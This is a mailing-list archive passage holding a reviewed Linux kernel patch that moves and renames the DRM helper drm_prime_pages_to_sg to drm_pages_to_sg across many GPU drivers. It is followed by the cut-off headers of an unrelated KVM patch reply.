	TO_DN_SOME(0.00)[];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	MID_RHS_MATCH_FROM(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	R_RATELIMIT(0.00)[to_ip_from(RLq3cifbxyhc6qbbynzfc6amns)];
	RCVD_TLS_ALL(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TO_MATCH_ENVRCPT_SOME(0.00)[];
	RCPT_COUNT_GT_50(0.00)[54];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.de:email,suse.de:mid,suse.com:url,collabora.com:email,imap1.dmz-prg2.suse.org:helo]
X-purgate-ID: tlsNG-d62444/1784904822-BC75B757-DA2E2A68/0/0
X-purgate-type: clean
X-purgate-size: 19192

Hi

Am 24.07.26 um 14:08 schrieb AdriÃ¡n Larumbe:
> None of the semantics of the function tell of it being a PRIME-exclusive
> entry point. In fact, most drivers seem to be using it to translate a list
> of pages into an sg table that can be used for GPU mapping later on, rather
> than just for sharing an object's pages with another driver.
>
> Move it across files and rename accordingly.

Makes sense to me. But the helper has no hard dependency on anything in 
DRM. I wonder if it shouldn't be a helper in the dma or 
memory-management subsystem.

>
> Signed-off-by: AdriÃ¡n Larumbe <adrian.larumbe@collabora.com>

In any case:

Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de>


Best regards
Thomas


> ---
> drm_prime_pages_to_sg() has no real dependency on PRIME/dma-buf interfaces.
> It is a generic helper that converts a page array into a scatter/gather
> table via dma_map_sg_attrs. Nothing in its implementation touches struct
> dma_buf or import/export logic.
> ---
>   drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c |  6 ++---
>   drivers/gpu/drm/drm_gem.c                   | 35 ++++++++++++++++++++++++++
>   drivers/gpu/drm/drm_gem_shmem_helper.c      |  2 +-
>   drivers/gpu/drm/drm_prime.c                 | 38 -----------------------------
>   drivers/gpu/drm/etnaviv/etnaviv_gem.c       |  3 +--
>   drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c |  3 ++-
>   drivers/gpu/drm/loongson/lsdc_gem.c         |  3 +--
>   drivers/gpu/drm/msm/msm_gem.c               |  2 +-
>   drivers/gpu/drm/msm/msm_gem_prime.c         |  2 +-
>   drivers/gpu/drm/nouveau/nouveau_prime.c     |  4 +--
>   drivers/gpu/drm/panthor/panthor_gem.c       |  6 ++---
>   drivers/gpu/drm/radeon/radeon_prime.c       |  5 ++--
>   drivers/gpu/drm/rockchip/rockchip_drm_gem.c |  6 ++---
>   drivers/gpu/drm/tegra/gem.c                 |  4 +--
>   drivers/gpu/drm/vmwgfx/vmwgfx_gem.c         |  4 +--
>   drivers/gpu/drm/xe/xe_dma_buf.c             |  6 ++---
>   drivers/gpu/drm/xen/xen_drm_front_gem.c     |  2 +-
>   include/drm/drm_gem.h                       |  5 +++-
>   include/drm/drm_prime.h                     |  2 --
>   19 files changed, 68 insertions(+), 70 deletions(-)
>
> diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
> index b33c300e26e2..c9a98aec7eb6 100644
> --- a/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
> +++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
> @@ -203,9 +203,9 @@ static struct sg_table *amdgpu_dma_buf_map(struct dma_buf_attachment *attach,
>   
>   	switch (bo->tbo.resource->mem_type) {
>   	case TTM_PL_TT:
> -		sgt = drm_prime_pages_to_sg(obj->dev,
> -					    bo->tbo.ttm->pages,
> -					    bo->tbo.ttm->num_pages);
> +		sgt = drm_pages_to_sg(obj->dev,
> +				      bo->tbo.ttm->pages,
> +				      bo->tbo.ttm->num_pages);
>   		if (IS_ERR(sgt))
>   			return sgt;
>   
> diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c
> index 018df97d590d..22c8a3b5f667 100644
> --- a/drivers/gpu/drm/drm_gem.c
> +++ b/drivers/gpu/drm/drm_gem.c
> @@ -780,6 +780,41 @@ void drm_gem_put_pages(struct drm_gem_object *obj, struct page **pages,
>   }
>   EXPORT_SYMBOL(drm_gem_put_pages);
>   
> +/**
> + * drm_pages_to_sg - converts a page array into an sg list
> + * @dev: DRM device
> + * @pages: pointer to the array of page pointers to convert
> + * @nr_pages: length of the page vector
> + *
> + * This helper creates an sg table object from a set of pages.
> + * This is useful for implementing &drm_gem_object_funcs.get_sg_table.
> + */
> +struct sg_table *drm_pages_to_sg(struct drm_device *dev,
> +				 struct page **pages, unsigned int nr_pages)
> +{
> +	struct sg_table *sg;
> +	size_t max_segment = 0;
> +	int err;
> +
> +	sg = kmalloc_obj(struct sg_table);
> +	if (!sg)
> +		return ERR_PTR(-ENOMEM);
> +
> +	if (dev)
> +		max_segment = dma_max_mapping_size(drm_dev_dma_dev(dev));
> +	if (max_segment == 0)
> +		max_segment = UINT_MAX;
> +	err = sg_alloc_table_from_pages_segment(sg, pages, nr_pages, 0,
> +						(unsigned long)nr_pages << PAGE_SHIFT,
> +						max_segment, GFP_KERNEL);
> +	if (err) {
> +		kfree(sg);
> +		sg = ERR_PTR(err);
> +	}
> +	return sg;
> +}
> +EXPORT_SYMBOL(drm_pages_to_sg);
> +
>   static int objects_lookup(struct drm_file *filp, u32 *handle, int count,
>   			  struct drm_gem_object **objs)
>   {
> diff --git a/drivers/gpu/drm/drm_gem_shmem_helper.c b/drivers/gpu/drm/drm_gem_shmem_helper.c
> index 22ec52e2ffb8..144d088a477f 100644
> --- a/drivers/gpu/drm/drm_gem_shmem_helper.c
> +++ b/drivers/gpu/drm/drm_gem_shmem_helper.c
> @@ -825,7 +825,7 @@ struct sg_table *drm_gem_shmem_get_sg_table(struct drm_gem_shmem_object *shmem)
>   
>   	drm_WARN_ON(obj->dev, drm_gem_is_imported(obj));
>   
> -	return drm_prime_pages_to_sg(obj->dev, shmem->pages, obj->size >> PAGE_SHIFT);
> +	return drm_pages_to_sg(obj->dev, shmem->pages, obj->size >> PAGE_SHIFT);
>   }
>   EXPORT_SYMBOL_GPL(drm_gem_shmem_get_sg_table);
>   
> diff --git a/drivers/gpu/drm/drm_prime.c b/drivers/gpu/drm/drm_prime.c
> index 9b44c78cd77f..54539a8929c1 100644
> --- a/drivers/gpu/drm/drm_prime.c
> +++ b/drivers/gpu/drm/drm_prime.c
> @@ -835,44 +835,6 @@ static const struct dma_buf_ops drm_gem_prime_dmabuf_ops =  {
>   	.vunmap = drm_gem_dmabuf_vunmap,
>   };
>   
> -/**
> - * drm_prime_pages_to_sg - converts a page array into an sg list
> - * @dev: DRM device
> - * @pages: pointer to the array of page pointers to convert
> - * @nr_pages: length of the page vector
> - *
> - * This helper creates an sg table object from a set of pages
> - * the driver is responsible for mapping the pages into the
> - * importers address space for use with dma_buf itself.
> - *
> - * This is useful for implementing &drm_gem_object_funcs.get_sg_table.
> - */
> -struct sg_table *drm_prime_pages_to_sg(struct drm_device *dev,
> -				       struct page **pages, unsigned int nr_pages)
> -{
> -	struct sg_table *sg;
> -	size_t max_segment = 0;
> -	int err;
> -
> -	sg = kmalloc_obj(struct sg_table);
> -	if (!sg)
> -		return ERR_PTR(-ENOMEM);
> -
> -	if (dev)
> -		max_segment = dma_max_mapping_size(drm_dev_dma_dev(dev));
> -	if (max_segment == 0)
> -		max_segment = UINT_MAX;
> -	err = sg_alloc_table_from_pages_segment(sg, pages, nr_pages, 0,
> -						(unsigned long)nr_pages << PAGE_SHIFT,
> -						max_segment, GFP_KERNEL);
> -	if (err) {
> -		kfree(sg);
> -		sg = ERR_PTR(err);
> -	}
> -	return sg;
> -}
> -EXPORT_SYMBOL(drm_prime_pages_to_sg);
> -
>   /**
>    * drm_prime_get_contiguous_size - returns the contiguous size of the buffer
>    * @sgt: sg_table describing the buffer to check
> diff --git a/drivers/gpu/drm/etnaviv/etnaviv_gem.c b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
> index b0436a1e103f..a8e8614f8210 100644
> --- a/drivers/gpu/drm/etnaviv/etnaviv_gem.c
> +++ b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
> @@ -3,7 +3,6 @@
>    * Copyright (C) 2015-2018 Etnaviv Project
>    */
>   
> -#include <drm/drm_prime.h>
>   #include <drm/drm_print.h>
>   #include <linux/dma-mapping.h>
>   #include <linux/shmem_fs.h>
> @@ -104,7 +103,7 @@ struct page **etnaviv_gem_get_pages(struct etnaviv_gem_object *etnaviv_obj)
>   		unsigned int npages = etnaviv_obj->base.size >> PAGE_SHIFT;
>   		struct sg_table *sgt;
>   
> -		sgt = drm_prime_pages_to_sg(dev, etnaviv_obj->pages, npages);
> +		sgt = drm_pages_to_sg(dev, etnaviv_obj->pages, npages);
>   		if (IS_ERR(sgt)) {
>   			dev_err(dev->dev, "failed to allocate sgt: %ld\n",
>   				PTR_ERR(sgt));
> diff --git a/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c b/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
> index 6757ae6ec304..f44484325ddb 100644
> --- a/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
> +++ b/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
> @@ -3,6 +3,7 @@
>    * Copyright (C) 2014-2018 Etnaviv Project
>    */
>   
> +#include <drm/drm_gem.h>
>   #include <drm/drm_prime.h>
>   #include <linux/dma-buf.h>
>   #include <linux/module.h>
> @@ -22,7 +23,7 @@ struct sg_table *etnaviv_gem_prime_get_sg_table(struct drm_gem_object *obj)
>   	if (WARN_ON(!etnaviv_obj->pages))  /* should have already pinned! */
>   		return ERR_PTR(-EINVAL);
>   
> -	return drm_prime_pages_to_sg(obj->dev, etnaviv_obj->pages, npages);
> +	return drm_pages_to_sg(obj->dev, etnaviv_obj->pages, npages);
>   }
>   
>   int etnaviv_gem_prime_vmap(struct drm_gem_object *obj, struct iosys_map *map)
> diff --git a/drivers/gpu/drm/loongson/lsdc_gem.c b/drivers/gpu/drm/loongson/lsdc_gem.c
> index 2fb03487c983..37160228244c 100644
> --- a/drivers/gpu/drm/loongson/lsdc_gem.c
> +++ b/drivers/gpu/drm/loongson/lsdc_gem.c
> @@ -9,7 +9,6 @@
>   #include <drm/drm_dumb_buffers.h>
>   #include <drm/drm_file.h>
>   #include <drm/drm_gem.h>
> -#include <drm/drm_prime.h>
>   #include <drm/drm_print.h>
>   
>   #include "lsdc_drv.h"
> @@ -51,7 +50,7 @@ static struct sg_table *lsdc_gem_prime_get_sg_table(struct drm_gem_object *obj)
>   		return ERR_PTR(-ENOMEM);
>   	}
>   
> -	return drm_prime_pages_to_sg(obj->dev, tt->pages, tt->num_pages);
> +	return drm_pages_to_sg(obj->dev, tt->pages, tt->num_pages);
>   }
>   
>   static void lsdc_gem_object_free(struct drm_gem_object *obj)
> diff --git a/drivers/gpu/drm/msm/msm_gem.c b/drivers/gpu/drm/msm/msm_gem.c
> index efd3d3c9a449..7e3418290c22 100644
> --- a/drivers/gpu/drm/msm/msm_gem.c
> +++ b/drivers/gpu/drm/msm/msm_gem.c
> @@ -207,7 +207,7 @@ static struct page **get_pages(struct drm_gem_object *obj)
>   
>   		msm_obj->pages = p;
>   
> -		msm_obj->sgt = drm_prime_pages_to_sg(obj->dev, p, npages);
> +		msm_obj->sgt = drm_pages_to_sg(obj->dev, p, npages);
>   		if (IS_ERR(msm_obj->sgt)) {
>   			void *ptr = ERR_CAST(msm_obj->sgt);
>   
> diff --git a/drivers/gpu/drm/msm/msm_gem_prime.c b/drivers/gpu/drm/msm/msm_gem_prime.c
> index 036d34c674d9..d25393a9e549 100644
> --- a/drivers/gpu/drm/msm/msm_gem_prime.c
> +++ b/drivers/gpu/drm/msm/msm_gem_prime.c
> @@ -23,7 +23,7 @@ struct sg_table *msm_gem_prime_get_sg_table(struct drm_gem_object *obj)
>   	if (WARN_ON(!msm_obj->pages))  /* should have already pinned! */
>   		return ERR_PTR(-ENOMEM);
>   
> -	return drm_prime_pages_to_sg(obj->dev, msm_obj->pages, npages);
> +	return drm_pages_to_sg(obj->dev, msm_obj->pages, npages);
>   }
>   
>   int msm_gem_prime_vmap(struct drm_gem_object *obj, struct iosys_map *map)
> diff --git a/drivers/gpu/drm/nouveau/nouveau_prime.c b/drivers/gpu/drm/nouveau/nouveau_prime.c
> index caab60fc62f6..b95f2f07df74 100644
> --- a/drivers/gpu/drm/nouveau/nouveau_prime.c
> +++ b/drivers/gpu/drm/nouveau/nouveau_prime.c
> @@ -32,8 +32,8 @@ struct sg_table *nouveau_gem_prime_get_sg_table(struct drm_gem_object *obj)
>   {
>   	struct nouveau_bo *nvbo = nouveau_gem_object(obj);
>   
> -	return drm_prime_pages_to_sg(obj->dev, nvbo->bo.ttm->pages,
> -				     nvbo->bo.ttm->num_pages);
> +	return drm_pages_to_sg(obj->dev, nvbo->bo.ttm->pages,
> +			       nvbo->bo.ttm->num_pages);
>   }
>   
>   struct drm_gem_object *nouveau_gem_prime_import_sg_table(struct drm_device *dev,
> diff --git a/drivers/gpu/drm/panthor/panthor_gem.c b/drivers/gpu/drm/panthor/panthor_gem.c
> index 9855df738194..ec530d254fa4 100644
> --- a/drivers/gpu/drm/panthor/panthor_gem.c
> +++ b/drivers/gpu/drm/panthor/panthor_gem.c
> @@ -321,8 +321,8 @@ panthor_gem_dev_map_get_sgt_locked(struct panthor_gem_object *bo)
>   	if (ret)
>   		return ERR_PTR(ret);
>   
> -	sgt = drm_prime_pages_to_sg(bo->base.dev, bo->backing.pages,
> -				    bo->base.size >> PAGE_SHIFT);
> +	sgt = drm_pages_to_sg(bo->base.dev, bo->backing.pages,
> +			      bo->base.size >> PAGE_SHIFT);
>   	if (IS_ERR(sgt))
>   		return sgt;
>   
> @@ -702,7 +702,7 @@ static struct sg_table *panthor_gem_get_sg_table(struct drm_gem_object *obj)
>   	drm_WARN_ON_ONCE(obj->dev, !bo->backing.pages);
>   	drm_WARN_ON_ONCE(obj->dev, !refcount_read(&bo->backing.pin_count));
>   
> -	return drm_prime_pages_to_sg(obj->dev, bo->backing.pages, obj->size >> PAGE_SHIFT);
> +	return drm_pages_to_sg(obj->dev, bo->backing.pages, obj->size >> PAGE_SHIFT);
>   }
>   
>   static int panthor_gem_vmap_locked(struct drm_gem_object *obj,
> diff --git a/drivers/gpu/drm/radeon/radeon_prime.c b/drivers/gpu/drm/radeon/radeon_prime.c
> index a77881f035e7..4cfc4282a59c 100644
> --- a/drivers/gpu/drm/radeon/radeon_prime.c
> +++ b/drivers/gpu/drm/radeon/radeon_prime.c
> @@ -26,6 +26,7 @@
>   
>   #include <linux/dma-buf.h>
>   
> +#include <drm/drm_gem.h>
>   #include <drm/drm_prime.h>
>   #include <drm/radeon_drm.h>
>   
> @@ -38,8 +39,8 @@ struct sg_table *radeon_gem_prime_get_sg_table(struct drm_gem_object *obj)
>   {
>   	struct radeon_bo *bo = gem_to_radeon_bo(obj);
>   
> -	return drm_prime_pages_to_sg(obj->dev, bo->tbo.ttm->pages,
> -				     bo->tbo.ttm->num_pages);
> +	return drm_pages_to_sg(obj->dev, bo->tbo.ttm->pages,
> +			       bo->tbo.ttm->num_pages);
>   }
>   
>   struct drm_gem_object *radeon_gem_prime_import_sg_table(struct drm_device *dev,
> diff --git a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
> index b188539dca0b..7897da0becf4 100644
> --- a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
> +++ b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
> @@ -89,8 +89,8 @@ static int rockchip_gem_get_pages(struct rockchip_gem_object *rk_obj)
>   
>   	rk_obj->num_pages = rk_obj->base.size >> PAGE_SHIFT;
>   
> -	rk_obj->sgt = drm_prime_pages_to_sg(rk_obj->base.dev,
> -					    rk_obj->pages, rk_obj->num_pages);
> +	rk_obj->sgt = drm_pages_to_sg(rk_obj->base.dev,
> +				      rk_obj->pages, rk_obj->num_pages);
>   	if (IS_ERR(rk_obj->sgt)) {
>   		ret = PTR_ERR(rk_obj->sgt);
>   		goto err_put_pages;
> @@ -432,7 +432,7 @@ struct sg_table *rockchip_gem_prime_get_sg_table(struct drm_gem_object *obj)
>   	int ret;
>   
>   	if (rk_obj->pages)
> -		return drm_prime_pages_to_sg(obj->dev, rk_obj->pages, rk_obj->num_pages);
> +		return drm_pages_to_sg(obj->dev, rk_obj->pages, rk_obj->num_pages);
>   
>   	sgt = kzalloc_obj(*sgt);
>   	if (!sgt)
> diff --git a/drivers/gpu/drm/tegra/gem.c b/drivers/gpu/drm/tegra/gem.c
> index 436394e04812..701af672b4e5 100644
> --- a/drivers/gpu/drm/tegra/gem.c
> +++ b/drivers/gpu/drm/tegra/gem.c
> @@ -17,7 +17,7 @@
>   
>   #include <drm/drm_drv.h>
>   #include <drm/drm_dumb_buffers.h>
> -#include <drm/drm_prime.h>
> +#include <drm/drm_gem.h>
>   
>   #include "drm.h"
>   #include "gem.h"
> @@ -352,7 +352,7 @@ static int tegra_bo_get_pages(struct drm_device *drm, struct tegra_bo *bo)
>   
>   	bo->num_pages = bo->gem.size >> PAGE_SHIFT;
>   
> -	bo->sgt = drm_prime_pages_to_sg(bo->gem.dev, bo->pages, bo->num_pages);
> +	bo->sgt = drm_pages_to_sg(bo->gem.dev, bo->pages, bo->num_pages);
>   	if (IS_ERR(bo->sgt)) {
>   		err = PTR_ERR(bo->sgt);
>   		goto put_pages;
> diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> index 39f8c46550c2..c9e7f2e3668c 100644
> --- a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> +++ b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> @@ -28,7 +28,7 @@
>   #include "vmwgfx_bo.h"
>   #include "vmwgfx_drv.h"
>   
> -#include "drm/drm_prime.h"
> +#include "drm/drm_gem.h"
>   #include "drm/drm_gem_ttm_helper.h"
>   
>   #include <linux/debugfs.h>
> @@ -76,7 +76,7 @@ static struct sg_table *vmw_gem_object_get_sg_table(struct drm_gem_object *obj)
>   	if (vmw_tt->vsgt.sgt)
>   		return vmw_tt->vsgt.sgt;
>   
> -	return drm_prime_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages, vmw_tt->dma_ttm.num_pages);
> +	return drm_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages, vmw_tt->dma_ttm.num_pages);
>   }
>   
>   static int vmw_gem_vmap(struct drm_gem_object *obj, struct iosys_map *map)
> diff --git a/drivers/gpu/drm/xe/xe_dma_buf.c b/drivers/gpu/drm/xe/xe_dma_buf.c
> index 8a920e58245c..f0fe80706b79 100644
> --- a/drivers/gpu/drm/xe/xe_dma_buf.c
> +++ b/drivers/gpu/drm/xe/xe_dma_buf.c
> @@ -118,9 +118,9 @@ static struct sg_table *xe_dma_buf_map(struct dma_buf_attachment *attach,
>   
>   	switch (bo->ttm.resource->mem_type) {
>   	case XE_PL_TT:
> -		sgt = drm_prime_pages_to_sg(obj->dev,
> -					    bo->ttm.ttm->pages,
> -					    obj->size >> PAGE_SHIFT);
> +		sgt = drm_pages_to_sg(obj->dev,
> +				      bo->ttm.ttm->pages,
> +				      obj->size >> PAGE_SHIFT);
>   		if (IS_ERR(sgt))
>   			return sgt;
>   
> diff --git a/drivers/gpu/drm/xen/xen_drm_front_gem.c b/drivers/gpu/drm/xen/xen_drm_front_gem.c
> index eec4c1da3f9e..a4a7c7f2c91c 100644
> --- a/drivers/gpu/drm/xen/xen_drm_front_gem.c
> +++ b/drivers/gpu/drm/xen/xen_drm_front_gem.c
> @@ -236,7 +236,7 @@ struct sg_table *xen_drm_front_gem_get_sg_table(struct drm_gem_object *gem_obj)
>   	if (!xen_obj->pages)
>   		return ERR_PTR(-ENOMEM);
>   
> -	return drm_prime_pages_to_sg(gem_obj->dev,
> +	return drm_pages_to_sg(gem_obj->dev,
>   				     xen_obj->pages, xen_obj->num_pages);
>   }
>   
> diff --git a/include/drm/drm_gem.h b/include/drm/drm_gem.h
> index 885244e375d3..7b9cc6335689 100644
> --- a/include/drm/drm_gem.h
> +++ b/include/drm/drm_gem.h
> @@ -155,7 +155,7 @@ struct drm_gem_object_funcs {
>   	 * here cannot be used for sg tables pointing at driver private memory
>   	 * ranges.
>   	 *
> -	 * See also drm_prime_pages_to_sg().
> +	 * See also drm_pages_to_sg().
>   	 */
>   	struct sg_table *(*get_sg_table)(struct drm_gem_object *obj);
>   
> @@ -589,6 +589,9 @@ struct page **drm_gem_get_pages(struct drm_gem_object *obj);
>   void drm_gem_put_pages(struct drm_gem_object *obj, struct page **pages,
>   		bool dirty, bool accessed);
>   
> +struct sg_table *drm_pages_to_sg(struct drm_device *dev,
> +				 struct page **pages, unsigned int nr_pages);
> +
>   void drm_gem_lock(struct drm_gem_object *obj);
>   void drm_gem_unlock(struct drm_gem_object *obj);
>   
> diff --git a/include/drm/drm_prime.h b/include/drm/drm_prime.h
> index f50f862f0d8b..603e16a40ae7 100644
> --- a/include/drm/drm_prime.h
> +++ b/include/drm/drm_prime.h
> @@ -92,8 +92,6 @@ void drm_gem_dmabuf_vunmap(struct dma_buf *dma_buf, struct iosys_map *map);
>   int drm_gem_prime_mmap(struct drm_gem_object *obj, struct vm_area_struct *vma);
>   int drm_gem_dmabuf_mmap(struct dma_buf *dma_buf, struct vm_area_struct *vma);
>   
> -struct sg_table *drm_prime_pages_to_sg(struct drm_device *dev,
> -				       struct page **pages, unsigned int nr_pages);
>   struct dma_buf *drm_gem_prime_export(struct drm_gem_object *obj,
>   				     int flags);
>   
>
> ---
> base-commit: 48dd37d1fef33fbf42f1d6887c61e242fd21d00d
> change-id: 20260724-get_pages-e2e91c53eaa3
>
> Best regards,
> --
> AdriÃ¡n Larumbe <adrian.larumbe@collabora.com>
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:10:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:10:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370223.1618455 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnN9r-0000cM-7i; Fri, 24 Jul 2026 21:10:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370223.1618455; Fri, 24 Jul 2026 21:10:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnN9r-0000cE-2i; Fri, 24 Jul 2026 21:10:15 +0000
Received: by outflank-mailman (input) for mailman id 1370223;
 Fri, 24 Jul 2026 21:10:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3stRjagYKCUUzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 1wnN9p-0000bs-Pe
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:10:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnN9p-002T3l-6b
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:10:13 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3stRjagYKCUUzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 6a63d482-e002-0a2a0a5209dd-0a2a4506dd56-38
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:10:13 +0200
Received: from [209.85.210.199] (helo=mail-pf1-f199.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3stRjagYKCUUzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 6a63d4b3-195a-0a2a45060019-d155d2c7b513-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:10:12 +0200
Received: by mail-pf1-f199.google.com with SMTP id
 d2e1a72fcca58-8486ffba174so1227956b3a.1
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:10:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1784927411; x=1785532211; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=XTReVzCNP0fxj6IgppN49ZsfvNVcyjFJjPGB1HCtc6w=;
        b=IgP1N/HJUoCIoX64r8ZFkEB+9Ecos+w4IFCng2F1bAwHECymfunix5r3RRow5wnd91
         bbArZv4OTkCfiHsUISnU1EletTaatP7+LHgjdQVSISSsUACMDCC8TtIxRrgOfGOfOoXd
         sAZF2uuHr5TTWz1/JK+8NMtJmUVTxww8XrlgblCrfvTdjDHZe87ZU2KMsAhsN+KMJJUx
         IpUNnqXpOIM9SP8ZZI2q7Yq9b9lYWwSUjSc9zxRxDQWjEJDqteibfc14plPhV7SLcbuw
         a2y1hhw6bTPFuyNaLscwP2jI8LIUVufeqHhD8CnEfUHR9QakP/SQP6LKJ4UXOudeOhrN
         +FCg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784927411; x=1785532211;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=XTReVzCNP0fxj6IgppN49ZsfvNVcyjFJjPGB1HCtc6w=;
        b=RMNUXCanmsS6sXMjvbxbH8VpIkIAf7nrPP3TJIWWRS6QHCOqLZoI0WvHwPYtrNEg6f
         dieqdZ1qfmy+pIl1/3z3ZFZegN4ClYe1PWjePWOLPGd451O0eLWWEyzquNeMX3hsiEIs
         zXfH1VCJhtigln0sGWyTME083OxeCDKfmN3Ul63ZST36lK7nZ77kvuYOWtjqot/vtj7d
         Z0DimHdpUoEELxphaBtURPL+IZAwXnEZv5Hd83cgUopvUalW9x3/VnKDwjhDns3O5RgD
         K21Oux0YWXxr17BO+IJYREmJNHMcmxgwysNkCy9Xn26Z1Y0hBXpaI7OlSE7Lr9vtv8mj
         cZRg==
X-Forwarded-Encrypted: i=1; AHgh+Rp+bAmQWuT+AA3gi8OzzUsxnHog4hJCM+gpG6GzWRMfIbSZqzEjcylJSPoh4gGiqxnp+czQIc/Piyc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzO/T00Mk5PSMR/kLgHIsE+TqptTLs0MSgwhytYRm3a3+5ZTGbT
	kIaA8BGL+TF7A2TbG4yhAxf+HAgUo6Atnmq/Gyld1D0tcTOR27UUlUmM8qdp25ABdMANsinjW/X
	fBBcRJg==
X-Received: from pfoc20.prod.google.com ([2002:aa7:8814:0:b0:84e:1951:8efd])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:a20f:b0:84e:17ef:5460
 with SMTP id d2e1a72fcca58-84e2bb396bbmr9852497b3a.40.1784927410740; Fri, 24
 Jul 2026 14:10:10 -0700 (PDT)
Date: Fri, 24 Jul 2026 14:10:10 -0700
In-Reply-To: <20260703212145.343527-3-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-3-dwmw2@infradead.org>
Message-ID: <amPUsqRiVUsC4tuS@google.com>
Subject: Re: [PATCH v6 02/36] KVM: x86: Improve accuracy of KVM clock when TSC
 scaling is in force
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
